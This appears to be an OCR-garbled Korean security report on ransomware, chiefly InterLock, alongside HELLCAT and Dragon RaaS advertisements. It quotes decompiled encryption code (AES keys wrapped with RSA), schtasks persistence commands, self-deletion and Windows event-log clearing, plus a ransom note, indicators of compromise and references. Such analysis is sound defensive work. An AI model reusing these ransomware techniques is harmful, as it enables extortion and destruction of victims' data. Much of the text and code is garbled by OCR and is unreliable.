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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

On [22/18/2824], HELLCAT was just an idea. Only two days later, we launched our first attack quick, right?

Now, were taking the HELLCAT servers offline for a few days to get ready for whats next. Weve got targets, and were making sure everythings in place.

Wait for us ... #HELLCAT.
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DeepWing

4 Parano RansomwareV1 4

§ The New ransomware has been developed with a completely

unique algorithm

DRAGON RANSOMWARE

-
o Features:

Developed with C/C++.
* Fully Undetectable (FUD) All Antivirus
' No stub is required for decryption,
7 You keep each stub's decryption key as your mind and manage

(M Scon: Dragon Ransomware Raas Platform Launchyv

Service (Raas ere in full control

~ No need for internet or network connection. T
operations through an easy-to-use platform. &

£ Features Anti Virtual Machine, Anti Debugging, and Anti
Sandbox capabilities. -
. site to manage
Uses AES-128 and RSA-4096 encryption algorithm. Each " _
encrypted file's AES encryption key is randomly generated,

; = combines cutting-edge encryption with real-time control for
stored and encrypted with RSA encryption key. You should

seamless deployment.

& Unmatched Power, Total Privacy: Leveraging industry-leading
security, Dragon Ransomware ensures all operations are protected

Price : 400% Per Stub
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Cathexis Holdings LP

Data Size: 3.8Tb

Wayne County

Data Size: 7.7TB
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initRand(); initRand();
arams(argc, argv); params{argc, argv);
if ( systembrg ) threadInit();
return addScheduledTask(argc, argv); if ( pathFile )
ThreadInit(); threadstart(&pathFile);
if { pathFile ) if ( pathDir )
threadstart(&pathFile); loopdir (&pathDir);
if ( pathDir ) if ( !pathDir &% !pathFile )
loopdir(&pathDir); allloop();
if ( !pathDir && !pathFile ) sleep(lu);
allloop(); waitThread();
sleep(l); threadFree();
waitThread(); sleep(2u);
threadFree(); if ( (del & 1) I= @ )
sleep(2); removeme (*argv);
if ( delArg ) return @;
deleteme();
return @;
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I L_README_! tx1 - Windows B2H
D% BEE MU0 27V EERH)
INTERLOCK - CRITICAL SECURITY ALERT
To Whom It May Concern,
Your organization has experienced a serious security breach. Immediate action is required to mitigate further risks.
THE CURRENT SITUATION
- Your systems have been infiltrated by unauthorized entities,
Eﬁgj;g - Key files have been encrypted and are now inaccessible to you.

- Sensitive data has been extracted and is in our possession.

WHAT YOU NEED TO DO NOW
1. Contact us via our secure, anonymous platform listed below.
2. Follow all instructions to recover your encrypted data.

[Access Point: http: g’,febhmkoohcci-dSqesdbqutyrthmhkthvkﬂymﬂlm%x?ana\d omcn}supportfstep php
Use your unique Company ID: 1 1 55 e 1 o 2 L AT S e v

DO NOT ATTEMPT:
- File alterations: Renaming, moving, or tampering with files will lead to irreversible damage.
- Third-party software: Using any recovery tools will corrupt the encryption keys, making recovery impossible.
- Reboots or shutdowns: System restarts may cause key damage. Proceed at your own risk.

|_README_L.txt

.interlock

C/C++

28 10. InterLock @A ge] 718

infosec



InterLock #WAd <)o

2
&

infosec

Discovery

APZQ Z2MA HO

Defense Evasion 27 caloj2 e ol
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T1140
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Execution =Y AHFEZE 5% System HE 25
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Linux W2 #Addol= vtz A3 2QxE l3sti= ¥hH, Windows WS A3 7153t
i Ze2 E33 F A&sts 35 9jx] 7PHS AFESt o] wef dE FEE R etE
HA o] aH o2 P

rerce

o Hex ASCIT
0000000140001000|C3 66 66 2E|OF 1F 84 00|00 00 00 DD|OF IF 40 00| ATT.eenrsror..@.
0000000140001010( 48 83 EC 28|48 8B 05 75|A8 03 00 31|C9 €7 00 01| H.3(H
0000000140001020| 00 00 00 48|8B 05 76 A8|02 00 C7 00|01 00 00 00f...H
0000000140001030( 48 88 05 79|A8 03 00 C7|00 01 00 00|00 48 88 05|H..y ..C.
0000000140001040 | EC A7 03 00|66 81 38 4D|5A 75 OF 48(63 50 3C 48|3§..F.8MZu.HcP<H
0000000140001050| 01 DO 81 38|50 45 00 00|74 66 48 8B|05 1F A8 03|.DP.8PE..TTH... .
0000000140001060( 00 89 0D B9|1F 04 00 8B|D0 85 €O 74|43 B9 02 00|..."
0000000140001070| 00 00 ES 41|F4 02 00 ES|D4 ED 02 00|48 8B 15 i :
0000000140001080| A8 03 00 BB|12 89 10 E8|D4 ED 02 00|48 8B 15 : ahi. . H. .
0000000140001090 (A8 03 00 BB|12 8% 10 E8|94 85 02 00|45 8B 05 e St e
00000001400010A0|A7 03 00 B83(38 01 74 50|31 cO 48 83|cs 23 C3 . 8. tPLAH.ACA.
D0000001400010B0( B9 01 00 00|00 EB FE F3|02 00 EB BB|OF 1F 40 ....BpB. . Ep..@.
00000001400010C0 | OF B7 50 18|66 81 FA 0B|0L 74 45 66|81 FA 0B . P.f.u. . tEF,

00000001400010D0| 75 88 83 B8 |84 00 M) 0O|0OE OF B&6 TB|FF FF FF T yyy.
00000001 400010E0| 90 F8 00 00|00 31 C9 85|D2 OF 95 CI|E9 69 FF ..lE.G..AETy?
e Hex

0o0o00000140001000 | 48 81 30 37 (C1 13 00 ES|1C OO0 OO OF |85 DO AB

00000001 40001010 | 00 41 57 57 (41 56 41 54|55 45 B9 E5 |48 81 EC

W
0000000140001020| 00 00 00 45|89 7D ED 89|45 BE 48 894D F7 03 4D|...H.}i.EXH.M=.M
0000000140001030| BD OF B6 DL|4C 38 15 64|30 11 00 OF (89 ED 00 00 |4.YRL
0000000140001040 | 00 4C BB AS |67 FF FF FF |48 89 0D 10|87 11 00 4C|.L.¥ H
0000000140001050( 89 0D B4 37|11 00 4C 33|CF OF 89 AD |00 OO0 D0 4C|...7..L9I
0000000140001060 | 88 35 6F 15|11 OO0 4C 8D|7D 9A 49 89|F8 89 3D 41|.50...L.}.I.
0000000140001070(9F 11 00 B9 |DO 48 89 55|B9 89 95 41|FF FF FF 49| ... .BH. U’
0000000140001080 | C7 €2 BF 72|00 00 88 AD |79 FF FF FF|4C 89 90 3F Cﬁir....xﬁyy 2
0000000140001090| FF FF FF 48|31 CF 4D B9|FB 4C 8B 7D |F1 48 €7 CO|V¥YWHLIIM. UL.}RAHCA
000000014000104A0 | 10 &4 00 OO |8B 4D B85 8D|3D 41 08 11|00 OF Be ] M..=A....94
Q0000001 400010B0 | 48 F7 C2 BA|le F& 8D 74|16 8B 95 14|FF FF FF T VUVL
00000001400010C0 | 8B B5S 1C FF|FF FF 81 C9|FB D4 00 00|48 23 DO EGd. .H)D.
0000000140001000 | C8 BB 85 43 |FF FF FF 4C|BE BS 52 FF|FF FF 29
Q000000 400010EQ| 77 FF FF FFI0OB 8D 64 FFIFF FF BB 95|1E FF FF
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--directory [target] X Hst Cl2lE 2|0t As3)
--file [target] X st oot At
--delete ot ¢35 0| AFI7F AMK|
--system Il A EY S5 U HPH 45 (Windows)
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schtasks /delete /tn TaskSystem /f > nul 7|1E

schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd {path} &&

HEAO 2 SF (System #HPh
{execute_command}" /st 20:00 /ru system > nul

schtasks /run /tn TaskSystem > nul TaskSystem =& 1%l
schtasks /delete /tn TaskSystem /f > nul TaskSystem =t AtH|
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HAde C =golBel HA9 ydHEHzRE 4a3sta Linux WP FE fdEZFH

if ( pathFile )
threadStart(&pathFile);

if ( pathDir }
loopdir(&pathDir);

if { !pathDir && !pathFile )
allloop();

if ( pathFile )
threadStart(&pathFile);

if ( pathDir )
loopdir(&pathDir);

if ( !pathDir && !pathFile
allLoop();

// crypt target file

// erypt target dir

{7 loop "C:/°

// crypt target file

// loop target dir

// loop root('/") dir

a9 13. 43 AR mE dE3 Y 4 EF: Windows,
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£-: Linux)

AAfe} ——file
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++buf.
*(buf.

vl = opendir(file);

if ( (buf.st_ino & @xFe@e) == ex4e88 )} // check directory

if ( ent ,[8] == "." && lentry[9]
|| entry[8] == "." &% entry[9] == '.' && lentry[18]// pass
| (checkExceptDir((ent’y +8)) & 1) !=0 )// pass exceptDir
file[buf._ unused[®]] =

¥

else
v2 = strlen{entry + 8);
buf._ unused[8] += (v2 + 1);

__unused[1];
_unused[2] + 4 * buf._ |

unused[1]})
// recursive opendir

=
w2y

T e

= "EgHeE 2
golg ¢rest o9 o
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A

=

—1

ofe] #e} L.

Windows

(R EL),

and Settings, PerfLogs, ProgramData, Recovery, System
Volume Information, Windows, AppData, WindowsApps,

Windows Defender, WindowsPowerShell, Windows

(A%l £0), $Recyble.Bin, Boot, Documents

(R ZH), (

Defender Advanced Threat Protection

ohum, els] v dEsE

home, lib, lib32, lib64,

A2 Z0), bin, boot, cdrom, dey, etc,

libx32, lost+found, media, mnt,

opt, prog, run, root, shin, snap, srv, sys, tmp, usr, var

% 3. ¢33} 49 fgHg



4 Aol WA A9, AT BAL FEHe] Aol WEe] ole] frEs
Mo GEs o¥F AU MAW g de) e % HPAe ofd E 2k

|_README__l.txt, .bat, .bin, .cab,
.cmd, .com, .cur, .diagcab, .diagcfg, .diagpkg, |_README__!.txt, . boot.cfg, .sf, .b00,
.dry, .hlp, .hta, .ico, .msi, .ocx, .psm1,.scr, v00, .v01, .v02, .v03, .v04, .v05, .v06, .v07, t00
.sys, .ini, .url, .dll, .exe, .ps1

E 4. 453 49 3d 2 3R

¢4 Aol interlock SFFATE EAsh=A Fle] et o RS wetetal, o st A
ore selolw sholgel Linterlock YA FAFUTE A28 AZES VMo AR AES
19 2r1a MAGDT WY oA AT ABS 19 1V LAY st A,
st=sYgE RSA S/0715 ol &al daste & i gdo) W & l A7 gy
if ( lcheckFileExt(target file, ".interlock") )

streat(strepy(encrypted fileName, target file), *.interlock");

if ( !rename(target_file, encrypted_fileName) )

Stream = fopen(encrypted fileName, "rb+"};

if { Stream }

file_size = fsize(Stream);
key_len = 48;

key IV = malloc(6x48u164),
generatekey(\e - IV, file size, key | _en) // generate random key(32Bytes) & IV(16Bytes)
file_size = addPaddlnngle(S-'ea1, file size};

*&ElementCount[1] = malloc(@x500ui6s);

*&ElementCount[1] = rsaCrypt(key_IV, key_

a9 15, ¢33 A% &9 R 453 7] B4

len, *&ElementCount[1], ElementCount);// encrypt aes key & IV via RSA

gtel o} Fslo]= AES ouglZS ARy WA 7|9 IV 2 C
AYdor. g dash= IMB 2719 &5 9= JdsH, dd dAE d3std

vs = find_cipher("aes"};
if ( cbc_start(v5, a3, a2, 32, @, vI} }

free(Block});
free{va);
free(Buffer);

else

while ( v17 > @ )

> ElementCount )

6 = ElementCount;

v8 = fread(Block, luisd, w6, al);

if { cbc_setiw{a3, @x10uisd) || cbc_encrypt(Block, Buffer, w8, w9} )
break;

adjustFilePosition(al, -v8, 1);

fwrite(Buffer, luit4, vB, al);

a9 16. 49 433




29§ A7t s s E4S ARt Linux
o]2 aga WAYol=Z AHA|staL, Windows H] A9
S A ), olE &8 At AAE W

-—del A2 AHEFTHE e otE st
HASE E4 A= é}xﬂfs}% rmdir § ¥
Ao A o] 3 AA e = DLL 3

if ( lGetModuleFileNameA(@i64, ransomware, @x104u) )
return @8i64;

um = rand();

h = getenv(™tmp™);
formatStrlngQ(;_" le e, "%s/tmp¥%d.wasd”, tmp_path, rand_num};
Stream = fopen(self_deletefile, "wb™)}; // create "¥tmpX/tmp{rand_num}.wasd”
if [ ":'ea“ }

return 8i64;
fwrite(&data, lui64, @xABBUi64, Stream);
fclose{Stream);
formatstring2(v4, "rundll32.exe ®s,run %s”, self deletefile, ransomware};
return create_process{v4);

I 17. A7} 2kA1-€ DLL A4 (Windows)

DLL dd& @ dlofel st=zdd ez XV‘EM 919—&1, olg YA &Yl AE.
A€ DLL @ = %

N E >~

A2 remove API -
o]t} Windows W22 9 DLL J} % g3 WA E AAg

E{ |

int _ fastcall run(_ int64 al, _ inte4 a2, const char *a3)

{
}

return remove(a3);

a3 18. tmp.wasd 7%

o]2]ol= Windows B A& o|HlE =Z1E ”Xﬂﬁ}—b— 7150l &A%tk API & 83
Application, Security, System, Forwarded Events 7}#] & 4 7/]19] 3&5S =5 2HA| 3o},

EvtClearLog{®ig4, L"Application”, @ie4, 8);
EvtClearLog{@ig4, L"Security™, ©ied4, @);
EvtClearlLog(@is4, "S", @i6d4, @);

EvtClearLog(@icd, &ystem, @ied, 8);

return EvtClearLog(@isd4, L"Forwarded Events", @i6d4, @);

Y 19. o|HE Z 2HA




InterLock #4d 9o of-&xket

infosec

Discovery

Defense Evasion

o= 218 WA NYL0| X
ATO| U TRIXA OME 2IE HHY + ASF LF

T1140
T1070 |

4

HY AHSH2 4Y Ase AP ATOR 33

Exsetion Agto| Pl DERe O E B HHES HE

EDR £2MS S8 o By X

EGER
[Tiow |

ASR 7% SHHEHE S ofd W Atgh
GlojE W

InterLock @/ ¢o19] Windows W2 2
ARE3l7] wjEo  Anti-Virus T £FHoR
Z|gko 2 ok d9lE A3 Adsk= EDR &
ofyel Hall Ak Ao ofEF& 7] f8 ol
Ao AAstAY @] A= AR AT 5 dEH
g

Windows W& A5 24 2AlEHE o]&3] System dAstoz At A& A LS

b, e 2AZE Fal AAHE ZaAzsl System Aol ohiz A1 A4
Adel Aves ABARS 44 S deld Adel e e} ohd 49 SRa

e dssteE =8, At ”xﬂg— Ag ZRA~ A 5E WAS] A8 ASRY FH S
ddstet7vt EDR £3#4S $8 AR AHgshe 54 ZEASE Add o A9E
& 4 Atk InterLock Ql deof= o Gz Vs A B Wy BARLE EE
A B wZel Windows o 71 7lwo® whE AlAE WS Fa A5 ddS
578§ ok oldldl Fa dolHE WEe] HEAY Adad 24 #igs s
Aot 5 Ak

e
I

Linux WA 25 o4 A28 g4 5 sjo gEst 2 gEsl o F Ask AAshs 5w
SR B, ARG} AdHeE Fa HUe s Eebd e A0
el % Fre BHE ALTFOR Fold WE H23%F & Urk o|9oE EDR &4
Agel oy ZzAs9 AL AUSHAL HEeA & B2 AYs) AR 58
Tz 498 5 RS AWE & vk =9, dolHE WEd yEAaY A3a

2 wele] S HAiske =

10 ASR (Attack Surface Reduction): 3ZAX7t At2slE EH T2 MAQL A J7Hs53t TZMAE KBSt B3 7|5



l-“ Indicator Of Compromise n_l

&

InterLock(Windows)

a26f0a2da63a838161a7d335aaabe4b314a232acc15dcabdb6fedbec63cdab4?2

InterLock(Linux)

e86bb8361c436be94b0901e5b39db9b6666134f23ccel1e5581421c2981405ch1
28¢3¢50d115d2b8ffc7ba0a8de9572fbe307907aaae3a486aabd8c0266e9426f

4

File Name(Windows)
Matrix
File Name(Linux)

Start
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» BleepingComputer &2 &#o]%] (https://www.bleepingcomputer.com/news/security/massive-
psaux-ransomware—attack—targets—22-000-cyberpanel-instances/)

* SOCRadar &2 &4 9] (https://socradar.io/over—-22000-cyberpanel-servers—at-risk—from-
critical-vulnerabilities—exploitation-by-psaux-ransomware/)

» GitHub (https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882)
* NIST FHeoFd de]lgwo] 2 (https://nvd.nist.gov/vuln/detail/CVE-2024-51378)

» BleepingComputer 32 &#do]%] (https://www.bleepingcomputer.com/news/security/north—
korean—govt—hackers-linked-to-play-ransomware—-attack/)

e OzarksGo &2 &# oA (https://www.ozarksgo.net/tv-outage—update)

e Unit42 &2 21 (https://unit42.paloaltonetworks.com/north-korean—-threat—group-play-—
ransomware/)





